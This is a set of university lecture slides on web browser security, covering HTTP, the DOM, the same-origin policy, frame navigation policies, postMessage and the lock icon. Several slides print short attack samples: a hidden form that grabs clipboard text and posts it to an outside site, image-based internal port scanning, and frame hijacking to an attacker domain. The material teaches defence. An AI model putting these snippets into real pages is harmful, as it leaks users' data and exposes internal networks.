Web Browser Security

- Browser sends requests
  - May reveal private information (in forms, cookies)
- Browser receives information, code
  - May corrupt state by running unsafe code
- Interaction susceptible to network attacks
  - Consider network security as discussed earlier in this course

Browser and Network

- Browser sends requests
- Browser receives information, code
- Interaction susceptible to network attacks

Browser sends requests, receives information, code, and interacts with the network.
Browser security landscape

- Browser design vulnerabilities
  - Does the browser design, if implemented properly, prevent malicious attacks?
  - Main topic of this lecture

- Browser implementation vulnerabilities
  - Browsers can be vulnerable to standard application attacks
    - E.g., buffer overflow from long name for page element
  - Similar in principle to other implementation vulnerabilities
  - Other Lectures, Seminars, Practical courses from Prof. Seifert

- Attacks running under host OS
  - Difficult for browser to defend; can look at Least Privilege
  - Other Lectures, Seminars, Practical courses from Prof. Seifert

- Attacks from network
  - Malicious web site “visited” by user (or sending ad, gadget)
    - This is our main interest for today
  - Attacker who controls network
    - Harder to defend but also important (e.g., wireless cafe access point)
  - Consider network security as discussed earlier in this course

Vulnerability Stats: web is “winning”

Majority of vulnerabilities now found in web software

Source: MITRE CVE trends
Credits

Adam Barth, Collin Jackson, and the entire Web Security team from Stanford

Sample architecture
HyperText Transfer Protocol

- Used to request and return data
  - Methods: GET, POST, HEAD, ...
- Stateless request/response protocol
  - Each request is independent of previous requests
  - Statelessness has a significant impact on design and implementation of applications
- GET vs POST

Address Bar

- Where this page came from
- But not where the embedded content came from
URLs

- Global identifiers of network-retrievable documents

**Example:**

http://stanford.edu:81/class?name=cs155#homework

- Special characters are encoded as hex:
  - `%0A` = newline
  - `%20` or `+` = space, `%2B` = + (special exception)

HTTP Request

**Method**    **File**    **HTTP version**    **Headers**

GET /index.html HTTP/1.1
Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
Connection: Keep-Alive
Host: www.example.com

Blank line

Data – none for GET

GET: no side effect. POST: possible side effect.
HTTP Response

HTTP/1.0 200 OK
Date: Sun, 21 Apr 1996 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive
Content-Type: text/html
Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT
Content-Length: 2543

<HTML> Some data... blah, blah, blah </HTML>

Additions to browser

Installing ActiveX Controls

If you install and run, no further control over the code.

In principle, browser/OS could apply sandboxing, other techniques for containing risks in native code. But don’t count on it.
Additions to browser

**ActiveX**
- ActiveX controls reside on client's machine, activated by HTML object tag on the page
  - ActiveX controls are not interpreted by browser
  - Compiled binaries executed by client OS
  - Controls can be downloaded and installed
- Security model relies on three components
  - Digital signatures to verify source of binary
  - IE policy can reject controls from network zones
  - Controls marked by author as *safe for initialization*, *safe for scripting* which affects the way control used

Once accepted, installed and started, no control over execution

---

Additions to browser

**IE Browser Helper Objects (Extensions)**
- COM components loaded when IE starts up
- Run in same memory context as the browser
- Perform any action on IE windows and modules
  - Detect browser events
    - GoBack, GoForward, and DocumentComplete
  - Access browser menu, toolbar and make changes
  - Create windows to display additional information
  - Install hooks to monitor messages and actions
- Summary: No protection from extensions

[Diagram: Internet Explorer, Browser Helper Object, BHO]

Core browser

Rendering and events

- Basic execution model
  - Each browser window or frame
    - Loads content
    - Renders
      - Processes HTML and scripts to display page
      - May involve images, subframes, etc.
    - Responds to events

- Events can be
  - User actions: OnClick, OnMouseover
  - Rendering: OnLoad
  - Timing: setTimeout(), clearTimeout()
**Image tag security issues**

- Communicate with other sites
- Hide resulting image
  - `<img src="..." height="1" width="1">`
- Spoof other sites
  - Add logos that fool a user

**HTML and Scripts**

```html
<html>
  ...
  <p>The script on this page adds two numbers</p>
  <script>
    var num1, num2, sum
    num1 = prompt("Enter first number")
    num2 = prompt("Enter second number")
    sum = parseInt(num1) + parseInt(num2)
    alert("Sum = " + sum)
  </script>
  ...
</html>
```
Events

```javascript
<script type="text/javascript">
   function whichButton(event) {
      if (event.button==1) {
         alert("You clicked the left mouse button!")
      } else {
         alert("You clicked the right mouse button!")
      }
   }
</script>

Other events: onLoad, onMouseMove, onKeyPress, onUnload
Event order

- If an element and one of its ancestors have an event handler for the same event, which one should fire first?”

- MS IE: Bubble-up
- Netscape: Window-down event capture
- W3C: specify event listener with event capture or event bubbling semantics

- Main point for now: different browsers use different methods
  - Convergence over time on many browser issues, but browser application programming involves many significant compatibility issues

See: http://www.quirksmode.org/js/events_order.html
Port scanning behind firewall

- JavaScript can:
  - Request images from internal IP addresses
    - Example: `<img src="192.168.0.4:8080"/>
  - Use timeout/onError to determine success/failure
  - Fingerprint webapps using known image names

![Diagram](image)

Document object model (DOM)

- Data structure manipulated by JavaScript
  - web page in HTML is structured data
  - DOM provides representation of this hierarchy

- Examples
  - Methods: `document.write(documentreferrer)`

- Also Browser Object Model (BOM)
  - `Window`, `Document`, `Frames[]`, `History`, `Location`, `Navigator` (type and version of browser)
Browser and document tree structure

Example

HTML

```html
<ul id="t1">
  <li> Item 1 </li>
</ul>
```

JavaScript

1. `document.getElementById('t1').nodeName`
2. `document.getElementById('t1').nodeValue`
3. `document.getElementById('t1').firstChild.nodeName`
4. `document.getElementById('t1').firstChild.firstChild.nodeName`
5. `document.getElementById('t1').firstChild.firstChild.nodeValue`

Example 1 returns "ul"
Example 2 returns "null"
Example 3 returns "li"
Example 4 returns "text"
   A text node below the "li" which holds the actual text data as its value
Example 5 returns " Item 1 "

W3C standard differs from models supported in existing browsers
Changing HTML using Script, DOM

- Some possibilities
  - `createElement(elementName)`
  - `createTextNode(text)`
  - `appendChild(newChild)`
  - `removeChild(node)`

- Example: Add a new list item:

```javascript
var list = document.getElementById('t1');
var newitem = document.createElement('li');
var newtext = document.createTextNode(text);
list.appendChild(newitem);
newitem.appendChild(newtext);
```

Stealing clipboard contents

- Create hidden form, enter clipboard text, post form

```html
<FORM name="hf" METHOD=POST ACTION="http://www.site.com/targetpage.php" style="display:none">
  <INPUT TYPE="text" NAME="topicID">
  <INPUT TYPE="submit">
</FORM>
<script language="javascript">
var content = clipboardData.getData("Text");
document.forms["hf"].elements["topicID"].value = content;
document.forms["hf"].submit();
</script>
```
Frame and iFrame

- Window may contain frames from different sources
  - Frame: rigid division as part of frameset
  - iFrame: floating inline frame
- iFrame example
  
  ```html
  <IFRAME SRC="hello.html" WIDTH=450 HEIGHT=100>
  If you can see this, your browser doesn't understand IFRAME.
  </IFRAME>
  ```
- Why use frames?
  - Delegate screen area to content from another source
  - Browser provides isolation based on frames
  - Parent may work even if frame is broken

Remote scripting

- Goal
  - Exchange data between a client-side app running in a browser and server-side app, w/o reloading page
- Methods
  - Java Applet/ActiveX control/Flash
    - Can make HTTP requests and interact with client-side JavaScript code, but requires LiveConnect (not available on all browsers)
  - XML-RPC
    - Open, standards-based technology that requires XML-RPC libraries on server and in your client-side code.
  - Simple HTTP via a hidden IFRAME
    - IFRAME with a script on your web server (or database of static HTML files) is by far the easiest of the three remote scripting options

Simple remote scripting example

client.html: RPC by passing arguments to server.html in query string

```html
<script type="text/javascript">
function handleResponse() {
    alert('this function is called from server.html')
}
</script>
<iframe id="RSIFrame" name="RSIFrame"
    style="width:0px; height:0px; border: 0px"
    src="blank.html">
</iframe>
<a href="server.html" target="RSIFrame">make RPC call</a>
<script type="text/javascript">
window.parent.handleResponse()
</script>
```

server.html: another page on same server, could be server.php, etc

RPC can be done silently in JavaScript, passing and receiving arguments

An Analogy

**Operating system**
- Primitives
  - System calls
  - Processes
  - Disk
- Principals: Users
  - Discretionary access control
- Vulnerabilities
  - Buffer overflow
  - Root exploit

**Web browser**
- Primitives
  - Document object model
  - Frames
  - Cookies / localStorage
- Principals: “Origins”
  - Mandatory access control
- Vulnerabilities
  - Cross-site scripting
  - Universal scripting

Remember: once a user visits attacker.com, attacker can maintain persistent bidirectional communication with a frame in user’s browser
Web Attacker

- The basic web security threat model
- Attacker capabilities
  - Network
    - Operates a web site on the reachable network
    - Can obtain SSL/TLS Certificate for server
    - May operate other machines on own domain
  - Interaction with user (victim)
    - User visits attacker web site
      - Why? Enticing content, placed by ad network, blind luck, ...
    - Attacker.com is different from honest domains
    - Attacker has no other access to user’s machine
- Variation: Gadget attacker
  - The attacker produces a gadget that is included in otherwise honest mashup (e.g., EvilMaps.com)

Need for isolation

If Google can script other windows, then can steal passwords, post fraudulent bank or retail transactions, etc., etc.
Need for isolation - mashups

Need for isolation - advertisements
Javascript Security Model

- "Sandbox" design
  - No direct file access, restricted network access

- Same-origin policy
  - Frame can only read properties of documents and windows from same place: server, protocol, port
  - However, this does not apply to
    - Script loaded in enclosing frame from arbitrary site
      - This script runs as if it were loaded from the site that provided the page!


Components of browser security policy

- Frame-Frame relationships
  - canScript(A,B)
    - Can Frame A execute a script that manipulates arbitrary/nontrivial DOM elements of Frame B?
  - canNavigate(A,B)
    - Can Frame A change the origin of content for Frame B?

- Frame-principal relationships
  - readCookie(A,S), writeCookie(A,S)
    - Can Frame A read/write cookies from site S?

- Security indicator (lock icon)
  - securityIndicator(W)
    - Is the security indicator displayed for window W?
Lock Icon 2.0

- Extended validation (EV) certs

- Prominent security indicator for EV certificates
- note: EV site loading content from non-EV site does not trigger mixed content warning

Generally misunderstood

- Often simply stated as “same origin policy”
  - This usually just refers to the canScript relation
- Full policy of current browsers is complex
  - Evolved via “penetrate-and-patch”
  - Different features evolved slightly different policies
- Common scripting and cookie policies:
  - canScript considers: scheme, host, and port
  - canReadCookie considers: scheme, host, and path
  - canWriteCookie considers: host
Browser Same Origin Policy (SOP)

Web sites from different domains cannot interact except in very limited ways

- **Applies to:**
  - **Cookies:** cookie from origin A not visible to origin B
  - **DOM:** script from origin A cannot read or set properties for origin B

- **For DOM access, two origins are the same iff**
  - (domain-name, port, and protocol) are equal

Safari note: until 3.0 SOP was only (domain-name, port)

SOP Examples

Example HTML at www.site.com

Disallowing access:

```html
<iframe src="http://othersite.com"></iframe>
alert( frames[0].contentDocument.body.innerHTML )
alert( frames[0].src )
```

Allowed access:

```html
<img src="http://othersite.com/logo.gif">
alert( images[0].height )
```

Navigating child frame is allowed (but reading frame[0].src is not):

```javascript
frames[0].location.href = "http://mysite.com/"
```
Cross-frame scripting

- `canScript(A, B)`
  - Only if `Origin(A) = Origin(B)`
    - Where origin of a frame is the scheme, host, and network port from which it was loaded
  - This is the basic Same-Origin Policy (SOP)

- Some details
  - Some properties can be read anyway
    - Example: A can read size of B, if A is the parent of B in the DOM hierarchy

Cross-Frame Navigation

- Who decides a frame’s content?

  Permissive Policy
  A frame can navigate any frame

- Permissive policy is used in some browsers; not a great idea
**Guninski Attack**

A frame can navigate frames in its own window

If bad frame can *navigate* good frame, attacker gets password

**Window Policy**

A frame can navigate frames in its own window
Gadget Hijacking

top.frames[1].location = "http://www.attacker.com/...";
top.frames[2].location = "http://www.attacker.com/...";

Gadget Hijacking
Experiment to Determine Policy

- Frame navigation policy not documented
  - Some comments in Firefox source code, but misleading
  - No source code available for IE or Opera
- Extensive frame navigation test case
  - Assumes policy invariants (e.g., left/right symmetric)
  - Attempts 176 navigations, records results
  - Determined policy for Internet Explorer, Firefox, Safari

Possible frame navigation policies

<table>
<thead>
<tr>
<th>Policy</th>
<th>Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td>Permissive</td>
<td><img src="image" alt="Permissive behavior" /></td>
</tr>
<tr>
<td>Window</td>
<td><img src="image" alt="Window behavior" /></td>
</tr>
<tr>
<td>Descendant</td>
<td><img src="image" alt="Descendant behavior" /></td>
</tr>
<tr>
<td>Child</td>
<td><img src="image" alt="Child behavior" /></td>
</tr>
</tbody>
</table>
Implemented Browser Policies

<table>
<thead>
<tr>
<th>Browser</th>
<th>Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 6 (default)</td>
<td>Permissive</td>
</tr>
<tr>
<td>IE 6 (option)</td>
<td>Child</td>
</tr>
<tr>
<td>IE7 (no Flash)</td>
<td>Descendant</td>
</tr>
<tr>
<td>IE7 (with Flash)</td>
<td>Permissive</td>
</tr>
<tr>
<td>Firefox 2</td>
<td>Window</td>
</tr>
<tr>
<td>Safari 3</td>
<td>Permissive</td>
</tr>
<tr>
<td>Opera 9</td>
<td>Window</td>
</tr>
<tr>
<td>HTML 5</td>
<td>Child</td>
</tr>
</tbody>
</table>

Principle: Pixel Delegation

- Frames delegate screen pixels
  - Child cannot draw outside its frame
  - Parent **can** draw over the child’s pixels
- Navigation similar to drawing
  - Navigation replaces frame contents
  - “Simulate” by drawing over frame
- Policy ought to match pixel delegation
  - Navigate a frame if can draw over the frame
Best Solution: Descendant Policy

- Best security / compatibility trade-off
  - Security: Respects pixel delegation
  - Compatibility: Least restrictive such policy

- Implementation (Adam and Collin!)
  - Wrote patches for Firefox and Safari
  - Wrote over 1000 lines of regression tests

- Deployment
  - Apple released patch as security update
  - Mozilla shipped policy in Firefox 3

Subtlety: Scripting Policy Interaction

- Is this permissible?
  - Target is not descendant

- Can draw over pixels
  1) Inject script into parent
  2) Parent draws the pixels

- Allow navigation
  - Large compatibility win
  - No security loss

Correct descendent policy is relational composition of descendant and canScript
Frame Communication

- If frames provide isolation, how can they communicate?

- Desirable properties of interframe communication
  - Confidentiality
  - Integrity
  - Authentication
Fragment Identifier Messaging

- Send information by navigating a frame
  - http://gadget.com/#hello
- Navigating to fragment doesn’t reload frame
  - No network traffic, but frame can read its fragment
- Not a secure channel
  - Confidentiality ✓
  - Integrity ✓
  - Authentication ❌

D. Thorpe, Secure Cross-Domain Communication in the Browser

Basic idea

```javascript
function sendData() {
  iframe.src = "http://bar.com/receiver.html#data_here";
}

iframe (bar.com/receiver.html)

window.onLoad = function () {
  data = window.location.hash;
}```
Problems and limitations

- No acknowledgement of receipt
  - No ack if the iframe successfully received the data.

- Message overwrites
  - The host does not know when the iframe has finished processing a message, so it doesn’t know when it’s safe to send the next message.

- Capacity limits.
  - URL length limit varies by browser family

- Data has unknown origin

- No replies
  - There’s no way for script in the iframe to pass data back to the host page.

- Loss of context
  - Page is reloaded with every message, losing DOM state

With return communication

```javascript
function sendDataToBar() {
    iframe.src = 'http://bar.com/receiver.html#data_here';
}

window.onLoad = function () {
    data = window.location.hash;
}

function sendDataToFoo() {
    iframe2.src = 'http://foo.com/receiver.html#data_here';
}

window.onLoad = function () {
    window.parent.parent.receiveFromBar(window.location.hash);
}
```
Fix: Improve the protocol

- Proposed Needham-Schroeder-Lowe

\[
A \rightarrow B : N_A, URI_A \\
B \rightarrow A : N_A, N_B, URI_B \\
A \rightarrow B : N_B \\
\ldots \\
A \rightarrow B : N_A, N_B, Message_i \\
B \rightarrow A : N_A, N_B, Message_j
\]

- Adoption
  - Microsoft: Windows Live Channels library
  - IBM: OpenAjax Hub 1.1

postMessage

- New API for inter-frame communication
- Supported in latest betas of many browsers

- Not a secure channel
  - Confidentiality
  - Integrity
  - Authentication
Sample use

frames[0].postMessage("Hello world.");

document.addEventListener("message", receiver);
function receiver(e) {
    if (e.domain == "example.com") {
        if (e.data == "Hello world")
            e.source.postMessage("Hello");
    }
}

Eavesdrop on Messages

- Descendent frame navigation policy
Eavesdrop on Messages (2)

- Works in all navigation policies

Fix: Change the API

Let the sender specify the recipient:

```javascript
document.addEventListener("message", receiver);
function receiver(e) {
  if (e.domain == "example.com") {
    if (e.data == "Hello world")
      e.source.postMessage("Hello", e.domain, e.uri);
  }
}
```
The Lock Icon

- Goal: identify secure connection
- This is a network security issue
  - SSL/TLS is to protect against active network attacker
  - Lock icon should only be shown when page is secure against network attacker

Checkered History of the Lock

- Positive trust indicator
  - Semantics subtle and not widely understood
    - This page is not under the control of an active network attacker (unless the principal named in the location bar has chosen to trust the attacker).

- Innovation required in user interface design
  - Lock icon largely ignored by users
  - Innovations require browser accuracy in determining whether to show security indicators
Problem with embedded content

- Show lock icon if
  - Page retrieved over HTTPS
  - Every embedded object retrieved over HTTPS
    - Firefox allows HTTP images, but it’s a known bug
  - Every frame would have shown lock icon

Active Attacker Gets Password

Mixed content: Chase *used* a SWF movie served over http to perform authentication on banking login page

Vulnerable to network attack!
Origin Contamination

Mixed Content Issues

- Fails to account for canScript relation
  - Every browser fails to consider this issue
  - Implemented correct policy in SafeLock extension

- Also, lots of bugs
  - Fail to detect insecure SWF movies (IE, Firefox)
  - Navigation forgets mixed content (Firefox)
  - Firefox architecture makes detection difficult
## Summary

### Operating system
- **Primitives**
  - System calls
  - Processes
  - Disk
- **Principals: Users**
  - Discretionary access control
- **Vulnerabilities**
  - Buffer overflow
  - Root exploit

### Web browser
- **Primitives**
  - Document object model
  - Frames
  - Cookies / localStorage
- **Principals: “Origins”**
  - Mandatory access control
- **Vulnerabilities**
  - Cross-site scripting
  - Universal scripting

Many interesting security issues, complex feature interaction, many different browsers; additional network (e.g. DNS), UI problems